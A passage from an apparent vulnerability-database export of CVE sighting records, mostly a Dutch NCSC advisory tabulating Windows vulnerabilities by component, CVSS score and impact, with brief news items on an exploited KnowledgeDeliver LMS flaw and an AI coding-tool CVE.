\n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-66802 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-71331 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62690 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59134 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-61924 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-61352 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-61363 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-61918 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-61921 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62824 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft High Performance Computing (HPC) Pack: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59124 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-59133 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59135 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-65786 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65787 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65788 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62799 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62782 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-65794 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62787 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-62817 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-62820 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-62878 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-65789 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-70304 | 6.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-70330 | 6.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61920 | 6.60 | Uitvoeren van willekeurige code     | \n| CVE-2026-62769 | 6.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62778 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62881 | 6.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62883 | 6.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65795 | 6.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65797 | 6.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65799 | 6.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65798 | 6.70 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-68819 | 5.90 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61937 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62753 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62735 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62739 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62741 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62811 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Display Enhancement Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61923 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62800 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-62790 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62816 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-70348 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP Protocol Stack: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62750 | 6.50 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61346 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62702 | 6.80 | Denial-of-Service                   | \n| CVE-2026-62774 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59137 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-61347 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-59126 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61355 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWinlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61939 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Work Folder Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61349 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-68820 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-70307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Modern Device Management (MDM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62707 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft COM for Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59136 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Connection Broker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61366 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows License Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62777 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wired AutoConfig Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62730 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61932 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61933 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62703 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62894 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62888 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61368 | 5.00 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Digest Authentication: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62698 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62693 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61361 | 7.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-62755 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65785 | 6.50 | Denial-of-Service                   | \n| CVE-2026-62736 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62783 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62758 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62818 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62718 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62715 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62716 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62742 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62745 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62812 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62720 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62714 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62761 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62776 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62803 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62807 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62814 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62823 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-08-12T01:02:15.078468Z"}, {"uuid": "3ad6099f-d869-4bf8-9808-b447a1a3bf8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-5426", "type": "exploited", "source": "https://cloud.google.com/blog/topics/threat-intelligence/knowledgedeliver-viewstate-deserialization-vulnerability", "content": "", "creation_timestamp": "2026-05-25T07:00:00.000000Z"}, {"uuid": "021f9c9b-f2db-44bb-ba8e-1d26ee24f63a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://bsky.app/profile/Mozilla.activitypub.awakari.com.ap.brid.gy/post/3mmu7muiluxh2", "content": "\ud83d\udea9 Critical KnowledgeDeliver RCE (CVE-2026-5426) abused via shared ASP.NET machine keys to deliver web shells and Cobalt Strike KnowledgeDeliver exploit (CVE-2026-5426) enables RCE via ViewState ...\n\n#TIGR #malware #vulnerability\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-27T19:12:55.396158Z"}, {"uuid": "db019d5e-8690-488f-8ba6-7e714586adf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://t.me/thehackernews/9078", "content": "\ud83d\udea8 One shared key. Every deployment at risk.\n\nAttackers exploited CVE-2026-5426 in the KnowledgeDeliver LMS to gain unauthenticated RCE through hard-coded ASP-NET machineKeys, deploy the Godzilla (BLUEBEAM) web shell, and deliver Cobalt Strike Beacon on vulnerable internet-facing systems.\n\nRead \ud83e\udc12 https://thehackernews.com/2026/05/knowledgedeliver-lms-flaw-exploited-to.html", "creation_timestamp": "2026-05-26T05:31:04.000000Z"}, {"uuid": "bd3b1cce-12e3-4005-aef1-117f4b0c8ad2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54316", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3msj4bxfzpp23", "content": "A public GitHub issue could have compromised AI coding tools from Anthropic, Google, and OpenAI, as revealed by Novee Security at Black Hat USA 2026. Vulnerabilities include CVE-2026-54316 in Claude Code, allowing remote code execution and credential theft.", "creation_timestamp": "2026-08-07T17:53:37.931039Z"}, {"uuid": "a624e268-16f4-45b4-bc1a-c21eb04b01eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54984", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0284", "content": "Microsoft heeft een groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-59124, CVE-2026-62815, CVE-2026-62878, CVE-2026-62893** en **CVE-2026-65791** toegewezen gekregen en bevinden zich in respectievelijk Telephony Service, QUIC, DNS Server, Capability Access Management Service en iSCSI Target Service. Kwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 230 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Accessibility Infrastructure (ATBroker.exe): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61358 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54113 | 7.50 | Denial-of-Service                   | \n| CVE-2026-61930 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62737 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61929 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62708 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62749 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62780 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62788 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65773 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hello: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61928 | 5.50 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62779 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62757 | 5.30 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nAMD Zen: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59130 | 5.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-59131 | 5.60 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62889 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-65671 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65672 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62712 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62746 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62798 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62876 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62877 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65678 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62711 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62733 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62743 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62786 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62885 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65775 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65776 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Autopilot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-65783 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65779 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65780 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65778 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65782 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65781 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62819 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62728 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61356 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62692 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61364 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61365 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft QUIC: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62815 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59127 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61925 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-70344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-70345 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-70346 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-70347 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61938 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62768 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65774 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56179 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nWindows Storage Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-65814 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61350 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62796 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62797 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65784 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62700 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62793 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62880 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62887 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUser-Mode Power Service (UMPS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62721 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bind Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61927 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61934 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62705 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62722 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59125 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56174 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Remote Registry Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59138 | 6.50 | Denial-of-Service                   | \n| CVE-2026-61345 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-66799 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42976 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Profile Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62832 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62723 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62724 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62748 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62729 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-59122 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62701 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62725 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62726 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62732 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62734 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nCapability Access Management Service (camsvc): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62892 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Imaging Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54984 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-62740 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62719 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62717 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65790 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Defender Firewall Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61936 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62781 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Program Compatibility Assistant Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62696 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49179 | 8.80 | 